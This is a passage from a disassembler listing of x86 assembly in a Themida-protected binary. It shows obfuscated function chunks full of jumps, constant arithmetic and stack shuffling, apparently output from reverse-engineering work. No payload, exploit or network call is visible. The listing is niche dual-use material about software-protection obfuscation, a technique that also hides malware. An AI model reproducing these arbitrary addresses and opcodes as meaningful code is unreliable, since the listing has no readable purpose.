		add	eax, 4
		push	edi
		mov	edi, 193A2EA8h
		jmp	loc_572750
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_561E2F:				; CODE XREF: sub_566DFE+C611j
		add	esp, 4
		and	edi, 3E0229B3h
		jmp	loc_572864
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_561E3D:				; CODE XREF: sub_56616D+F0EFj
		and	ecx, esi
		jmp	loc_5659B8
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_561E44:				; CODE XREF: sub_560056+F8CDj
		add	eax, edi
		pop	edi
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		xor	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		pop	esi
		push	ebx
		sub	esp, 4
		mov	[esp+4+var_4], edi
		pop	ebx
		jmp	sub_561027
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_561E61:				; CODE XREF: sub_5685B2-4C15j
		sub	ebp, 66756B4Bh
		jmp	loc_5653FC
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_561E6C:				; CODE XREF: sub_561418+4E27j
		mov	[esp+8+var_8], ebp
		jmp	loc_5751D7
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD36


loc_561E74:				; CODE XREF: sub_56BD36+6406j
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	eax, esi
		pop	esi
		jmp	loc_56F343
; END OF FUNCTION CHUNK	FOR sub_56BD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_561E82:				; CODE XREF: sub_57354D-210j
		pop	esi
		xchg	eax, esi
		jmp	loc_571BB1
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561B55


loc_561E89:				; CODE XREF: sub_561B55+16j
		mov	edx, 480F0512h
		inc	edx
		shl	edx, 7
		neg	edx
		neg	edx
		sub	edx, 782897Ch
		mov	esi, edx
		pop	edx
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+0]
		pop	esp
		push	edi
		mov	edi, 12B1255Ch
		push	eax
		mov	eax, 446E2443h
		or	edi, eax
		pop	eax
		jmp	loc_572FAE
; END OF FUNCTION CHUNK	FOR sub_561B55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_561EBA:				; CODE XREF: sub_570CE4-C90Bj
		sub	eax, esi
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		push	ebx
		push	esi
		mov	esi, 470A7F77h
		shr	esi, 7
		inc	esi
		push	ebp
		mov	ebp, 33B1731Dh
		jmp	loc_573840
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_561ED9:				; CODE XREF: sub_574A21-CA82j
		xor	ecx, edx
		pop	edx
		xor	ecx, 739E4720h
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		add	ecx, 0C0A29FF6h
		jmp	loc_562906
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_561EF3:				; CODE XREF: sub_56FCD7-922Cj
		push	[esp+8+var_4]
		pop	edx
		jmp	loc_565502
; END OF FUNCTION CHUNK	FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_561EFD:				; CODE XREF: sub_570732+48j
		mov	[esp+0], ebp
		jmp	loc_56226F
; END OF FUNCTION CHUNK	FOR sub_570732

; =============== S U B	R O U T	I N E =======================================



sub_561F05	proc near		; DATA XREF: Themida_:0055FEA4o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056142A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561D6B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005640D6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005651AD SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00566B2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005674FE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00567FAC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569215 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056B7E1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056BA56 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F0B9 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056F48C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056FB1B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056FD40 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00571108 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 00571482 SIZE 0000000D BYTES

		push	dword ptr [esp+0]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 71A570B9h
		neg	esi
		add	esi, 1313353Dh
		jmp	loc_56142A
sub_561F05	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_561F1F:				; CODE XREF: sub_56B1DC+22D7j
		xor	ebp, 30E9010Bh
		pop	esi
		sub	esi, ebp
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_566EFE
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_561F30:				; CODE XREF: sub_5685B2+8310j
		push	[esp+10h+var_C]
		pop	eax
		jmp	loc_56C0AB
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_561F3A:				; CODE XREF: sub_56A608+1A08j
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		xor	edx, eax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_561F4A:				; CODE XREF: sub_56B11B+6477j
		pop	esi
		mov	ecx, eax
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		and	eax, ecx
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	6FD5h
		mov	[esp+8+var_8], ecx
		mov	ecx, esp
		push	ebp
		push	ecx
		mov	ecx, 54F0CE2h
		mov	ebp, 54F0CE6h
		xor	ebp, ecx
		pop	ecx
		add	ecx, ebp
		pop	ebp
		push	esi
		push	4
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		add	ecx, esi
		jmp	loc_569E4B
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5606E3


loc_561F9C:				; CODE XREF: sub_5606E3+3C19j
		add	esp, 4
		jmp	loc_56CCB7
; END OF FUNCTION CHUNK	FOR sub_5606E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_561FA4:				; CODE XREF: sub_564D26+1C4Fj
		mov	eax, edx
		pop	edx
		add	[esp+0Ch+var_8], 2D1D6AF0h
		jmp	loc_57275F
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_561FB4:				; CODE XREF: sub_5754DA-46CBj
		add	esp, 4
		add	al, 5Ch
		sub	al, 0E0h
		add	al, bl
		push	ecx
		mov	ch, 79h
		add	ch, 67h
		add	al, ch
		pop	ecx
		push	44BEh
		jmp	loc_5717B7
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------


loc_561FD3:				; CODE XREF: Themida_:005685D3j
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_568B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_561FF0:				; CODE XREF: sub_57354D-BB62j
		inc	edx
		not	edx
		sub	edx, 0B3C0D47Fh
		add	edi, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		jmp	loc_56E4A6
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_562007:				; CODE XREF: sub_56BD44-62CFj
		mov	[esp+0Ch+var_C], ecx
		push	[esp+0Ch+var_8]
		pop	ecx
		pop	[esp+0Ch+var_C]
		jmp	loc_562A0F
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_562017:				; CODE XREF: sub_5620B7+11B6Fj
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		jmp	loc_560514
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_56202E:				; CODE XREF: sub_56C38F+8D4Aj
		push	eax
		mov	eax, 3F877D40h
		sub	eax, 7DE70520h
		xor	eax, 0DC50B9Fh
		jmp	loc_56CB55
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_562043:				; CODE XREF: sub_568646-B31j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_572512
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_562060:				; CODE XREF: sub_561418+11843j
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_56BD4C
		push	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], esp
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		jmp	loc_566484
; END OF FUNCTION CHUNK	FOR sub_561418

; =============== S U B	R O U T	I N E =======================================



sub_56208F	proc near		; CODE XREF: sub_56E05C-BF01j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00569EBD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BBE3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00573C94 SIZE 00000009 BYTES

		sub	esp, 4
		jmp	loc_569EBD
sub_56208F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_562097:				; CODE XREF: sub_5747D7-2D5Bj
		xchg	eax, [esp+4+var_4]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	111Ch
		mov	[esp+4+var_4], ebx
		xor	[esp+4+var_4], 28E90DACh
		mov	eax, [esp+4+var_4]
		jmp	loc_5732AC
; END OF FUNCTION CHUNK	FOR sub_5747D7

; =============== S U B	R O U T	I N E =======================================



sub_5620B7	proc near		; CODE XREF: sub_569A75+7F47j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00560156 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560514 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00560E40 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00561557 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561CBF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00562017 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00562FBB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563733 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005653D3 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005655A0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565DDB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00566151 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056640D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005669EA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056738C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005673B3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00568B06 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568C75 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056989A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A82B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056B0E7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056BD74 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E434 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056ED11 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056FB51 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570330 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005707E2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570955 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005710FC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571B0D SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00571D33 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572391 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057389D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00573C20 SIZE 0000000B BYTES

		push	ebx
		mov	bh, 0C5h
		jmp	loc_5673B3
sub_5620B7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0CB


loc_5620BF:				; CODE XREF: sub_56E0CB+49D0j
		shl	ebx, 8
		sub	ebx, 0FF97FA97h
		sub	ecx, ebx
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		add	ecx, ebx
		add	ecx, 660569h
		push	dword ptr [esp+0]
		jmp	loc_56AE62
; END OF FUNCTION CHUNK	FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1F0


loc_5620E1:				; CODE XREF: sub_56F1F0-C8A1j
		add	esp, 4
		push	56BDh
		mov	[esp+0], ecx
		mov	ecx, 6FEA4BA0h
		add	edi, ecx
		pop	ecx
		jmp	sub_5696A1
; END OF FUNCTION CHUNK	FOR sub_56F1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_5620FC:				; CODE XREF: sub_56BD44-B835j
		mov	eax, 67C55F46h
		xor	eax, 27AF737Eh
		jmp	loc_5673DD
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_56210B:				; CODE XREF: sub_5738F4-E2D9j
		mov	[esp+0], edi
		mov	edi, 5A407FAFh
		inc	edi
		shr	edi, 8
		jmp	loc_572CB5
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_56211C:				; CODE XREF: sub_566C83+1E68j
		push	[esp+4+var_4]
		pop	eax
		jmp	loc_5668FA
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_562125:				; CODE XREF: sub_56241E+1153Bj
		add	bx, 792Eh
		sub	ax, bx
		pop	ebx
		pop	edx
		push	edx
		push	eax
		mov	ax, 3807h
		not	ax
		inc	ax
		add	ax, 7A84h
		jmp	loc_56B879
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_562143:				; CODE XREF: sub_56BC97-B3Dj
		pop	esp
		mov	[esp+0], edx
		mov	edx, esp
		push	edx
		mov	edx, esp
		jmp	loc_570066
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_562151:				; CODE XREF: sub_56E05C-16D1j
		pop	esi
		add	esi, 4
		add	esi, 2
		jmp	sub_56208F
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_562160:				; CODE XREF: sub_561418+7F68j
		or	edx, 3EC139CDh
		dec	edx
		xor	edx, 38CF7229h
		add	ecx, edx
		jmp	loc_57546A
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_562174:				; CODE XREF: sub_56AEF2-6A34j
		mov	edi, 450D4FC3h
		add	edi, 5BBA5014h
		sub	edi, ebp
		sub	edi, 5BBA5014h
		pop	ebp
		sub	eax, edi
		pop	edi
		jmp	loc_56F55A
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_562190:				; CODE XREF: sub_563207+40D9j
		mov	ebx, 6DED1F0Fh
		sub	eax, ebx
		pop	ebx
		jmp	loc_569867
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C3E2


loc_56219D:				; CODE XREF: sub_56C3E2+4C9Aj
		mov	edx, [esp+4+var_4]
		add	esp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		idiv	ecx
		push	348Fh
		mov	[esp-8+arg_4], edx
		push	eax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_5621C0:				; CODE XREF: sub_574AF3-9B8Dj
		pop	esp
		jmp	loc_56914F
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_5621C6:				; CODE XREF: sub_567D31-4683j
		push	eax
		push	edi
		push	50920E97h
		pop	edi
		shl	edi, 5
		xor	edi, 990E780Ah
		mov	eax, edi
		pop	edi
		jmp	loc_562F11
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56749A


loc_5621DF:				; CODE XREF: sub_56749A+B073j
		pop	[esp+18h+var_18]
		add	[esp+14h+var_14], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		jmp	loc_566F7D
; END OF FUNCTION CHUNK	FOR sub_56749A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_5621FD:				; CODE XREF: sub_569AB3+44C7j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		jmp	loc_570E51
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_562212:				; CODE XREF: sub_56616D+E1C4j
		mov	[esp-4+arg_0], ebp
		mov	ebp, 286E7F02h
		or	ebp, 71C45E25h
		add	ebp, 861180DDh
		add	esi, ebp
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		jmp	loc_56E7AA
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56223C:				; CODE XREF: sub_561418+13C4j
		shl	ebx, 6
		push	224Bh
		mov	[esp+14h+var_14], ebp
		push	esp
		jmp	loc_563C0B
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------


loc_56224D:				; CODE XREF: Themida_:00569FD1j
		mov	edi, 4
		sub	ebp, 5C3767D0h
		add	ebp, edi
		add	ebp, 5C3767D0h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ebp, 2
		jmp	loc_571FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56226F:				; CODE XREF: sub_570732-E832j
		mov	ebp, esp
		push	edx
		mov	edx, 7C561AA6h
		not	edx
		jmp	loc_5669F1
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_56227E:				; CODE XREF: sub_5680FB+6ED2j
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_56BF24
; END OF FUNCTION CHUNK	FOR sub_5680FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_562289:				; CODE XREF: sub_571088-F00j
		push	esi
		mov	esi, esp
		jmp	loc_574C42
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_562291:				; CODE XREF: sub_56FA15+22EEj
		mov	esp, [esp]
		mov	dh, cl
		jmp	loc_5689F2
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_56229B:				; CODE XREF: sub_56102D+677Aj
		or	edx, eax
		pop	eax
		dec	edx
		neg	edx
		xor	edx, 0A2023002h
		add	esi, edx
		pop	edx
		jmp	loc_56786F
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------


loc_5622AF:				; CODE XREF: Themida_:0056184Fj
		mov	eax, 54D950A5h
		jmp	loc_5736E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5622B9:				; CODE XREF: sub_568E5C-6943j
		push	eax
		pop	ecx
		mov	eax, [esp+8+var_8]
		add	esp, 4
		inc	ecx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 70F4DEB1h
		sub	ecx, ebx
		pop	ebx
		add	ebx, 45765673h
		add	ebx, ecx
		push	edx
		mov	edx, 4B85061Eh
		shl	edx, 5
		neg	edx
		jmp	loc_574D22
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_5622EB:				; CODE XREF: sub_56E0B0-DB01j
		mov	ecx, 4
		add	[esp+8+var_4], ecx
		jmp	loc_571081
; END OF FUNCTION CHUNK	FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56489B


loc_5622F9:				; CODE XREF: sub_56489B+ACBAj
		pop	ecx
		xor	al, bh
		pop	ebx
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		mov	ch, al
		jmp	sub_568646
; END OF FUNCTION CHUNK	FOR sub_56489B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_56230A:				; CODE XREF: sub_570E81-EA68j
		pop	edi
		add	eax, ebp
		sub	eax, 7F572388h
		push	[esp+8+var_8]
		pop	ebp
		add	esp, 4
		add	eax, 4
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		jmp	loc_56711C
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56232F:				; CODE XREF: sub_56FA15-393Ej
		mov	bl, ah
		pop	eax
		pop	edx
		shl	bl, 8
		jmp	loc_56C88B
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------


loc_56233B:				; CODE XREF: Themida_:0056263Ej
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ecx, 16B7559Fh
		add	ecx, edi
		jmp	loc_560E5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_56235A:				; CODE XREF: sub_57549C-34F4j
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5730FD
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_562368:				; CODE XREF: sub_5733CA-6E7Cj
		sub	ecx, 65DF5821h
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		push	3BC3h
		mov	[esp-4+arg_0], edx
		jmp	loc_562854
; END OF FUNCTION CHUNK	FOR sub_5733CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_562381:				; CODE XREF: sub_56EE9F+3AA0j
		xor	ebp, esi
		jmp	loc_561279
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DBD1


loc_562388:				; CODE XREF: sub_56DBD1+3858j
		add	esp, 4
		sub	dword ptr [esp+0], 28A64E8Bh
		add	[esp+0], eax
		add	dword ptr [esp+0], 28A64E8Bh
		jmp	loc_56DA09
; END OF FUNCTION CHUNK	FOR sub_56DBD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_5623A1:				; CODE XREF: sub_56241E-17C6j
		add	esp, 2
		xor	ax, dx
		pop	edx
		xor	bx, ax
		movzx	eax, ax
		push	small 2336h
		mov	[esp+0], ax
		jmp	loc_5719E7
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5623BB:				; CODE XREF: sub_561418+5F5Ej
		sub	esi, 31FF0A8Ah
		mov	edx, [esp+18h+var_18]
		push	esi
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		jmp	loc_5602DE
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_5623E7:				; CODE XREF: sub_57549C-DF1Dj
		mov	edi, edx
		pop	edx
		or	edi, 4CFA4B8Eh
		push	ebx
		mov	ebx, 36D41C56h
		jmp	loc_573FD4
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------


loc_5623FB:				; CODE XREF: Themida_:005655ECj
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		jmp	loc_563848
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_56240B:				; CODE XREF: sub_570E81+F50j
		add	esp, 4
		push	edi
		mov	edi, 7F572388h
		add	eax, edi
		jmp	loc_56230A
; END OF FUNCTION CHUNK	FOR sub_570E81

; =============== S U B	R O U T	I N E =======================================



sub_56241E	proc near		; DATA XREF: Themida_:0055FD8Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00560760 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560C54 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561040 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00561460 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562125 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005623A1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00562962 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562BF0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056580A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565CFE SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00566202 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00566847 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00567E0C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005692EB SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056A7AD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B879 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C667 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056EDE3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005719E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005727DC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057388A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057394F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00573A41 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573C5E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574AE6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057543A SIZE 0000001B BYTES

		lodsw
		xor	ax, bx
		jmp	loc_574AE6
sub_56241E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_562428:				; CODE XREF: sub_56638C+1D9Aj
		sub	esi, 45F84011h
